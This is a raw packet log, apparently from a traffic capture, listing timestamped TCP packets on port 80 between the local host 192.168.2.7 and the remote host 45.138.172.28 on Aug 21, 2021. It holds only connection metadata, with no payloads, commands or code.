Aug 21, 2021 21:46:32.395884991 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395910978 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395932913 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395961046 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.395982027 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.395986080 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.396012068 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.396027088 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.396032095 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.408621073 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.408659935 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.408679962 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.408703089 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.408727884 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.408750057 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.408771038 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.408788919 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.408811092 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.408833027 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.408833027 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.408854961 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.408875942 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.408899069 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.408921003 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.408946037 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.408971071 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.408973932 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.408993959 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.408998013 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.409001112 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.409004927 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.409017086 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.409040928 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.409056902 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.409061909 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.409084082 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.409137011 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.409162998 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.409216881 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.409358025 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.409384966 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.409499884 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.409982920 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.410010099 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.410031080 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.410124063 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.410161972 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.413355112 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413388968 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413412094 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413435936 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413460970 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413476944 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413523912 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413547993 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413590908 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413594007 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.413614035 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.413629055 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413655043 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413667917 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.413690090 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413714886 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413744926 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.413750887 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413777113 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413800955 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413827896 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.413832903 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413851976 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413866997 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.413878918 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413902044 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.413908005 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413925886 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413942099 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.413963079 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.413988113 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414011002 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.414025068 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414047956 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414067030 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414084911 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414104939 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414129019 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.414145947 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414165020 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.414182901 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414207935 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414235115 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414258003 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.414275885 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414295912 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.414314985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414340019 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414364100 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414386034 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.414402008 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414419889 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.414437056 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414489985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414513111 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414541960 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.414556026 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414570093 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.414593935 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414624929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414638042 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.414661884 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414690018 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414715052 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414738894 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.414751053 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414777994 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.414792061 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414818048 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414843082 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414880991 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.414887905 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414915085 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.414927959 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414952993 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414977074 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.414998055 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.415014982 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.415040970 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.415052891 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.415076971 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.415102005 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.415133953 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.415163040 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.415200949 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.415226936 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.415246010 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.415298939 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.415307045 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.415334940 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.415359020 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.415404081 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.418817043 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.418852091 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.421252966 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.423640013 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.423727989 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.423777103 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.423831940 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.423918962 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.423975945 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.424000025 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.424057961 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.424087048 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.424154997 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.424160004 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.424189091 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.424238920 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.424282074 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.424304962 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.424326897 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.424345970 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.424360037 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.424405098 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.424432993 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.424438953 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.424462080 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.424511909 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.424526930 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.424550056 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.424572945 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.424618959 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.435581923 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.435616970 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.435640097 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.435664892 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.435820103 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.449038982 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449063063 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449074984 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449089050 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449107885 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449126005 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449141026 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449157000 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449172020 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449187040 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449202061 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449218035 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449235916 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449254036 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449269056 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449285030 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449301004 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449315071 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449330091 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449345112 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449358940 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.449381113 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449399948 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449417114 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449430943 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.449440956 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449455976 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.449465036 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449480057 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449496031 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449507952 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.449523926 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449534893 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.449573040 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449593067 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449609995 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.449625015 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449650049 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449673891 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449690104 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.449712038 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449727058 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.449753046 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449775934 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449801922 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449816942 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.449836969 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449847937 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.449912071 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449933052 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449969053 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.449979067 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.450023890 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450040102 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.450062990 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450087070 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450102091 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450122118 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450130939 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.450149059 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450174093 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450181007 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.450201035 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450217009 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.450236082 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450262070 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.450283051 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450304985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450397968 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450403929 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.450448036 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450468063 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450488091 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450526953 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.450531960 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.450567961 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450588942 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450611115 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450649977 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.450661898 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.450679064 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450700998 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450721025 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450746059 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450751066 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.450793982 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450807095 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.450824976 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450846910 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450865030 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.450900078 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450923920 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450942039 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.450954914 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450977087 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.450997114 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451037884 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.451051950 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.451065063 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451086998 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451107979 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451143980 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.451215982 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451240063 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451288939 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451313019 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451323986 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.451344013 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451370955 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.451383114 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451430082 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.451492071 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451518059 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451564074 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.451591969 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451616049 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451677084 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.451690912 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451715946 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451740980 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451765060 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451782942 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.451812029 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.451836109 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451859951 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451884985 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451927900 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.451946974 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451952934 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.451970100 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.451984882 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452001095 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452016115 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452023029 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.452065945 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452085018 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.452111959 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452140093 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452147007 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.452192068 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.452210903 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452234030 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452261925 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452316999 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.452325106 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452347994 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452368975 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452375889 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.452389002 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452400923 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452415943 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452444077 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.452455044 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452466965 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452478886 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452497005 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452506065 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.452519894 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.452534914 CEST	80	49738	45.138.172.28	192.168.2.7
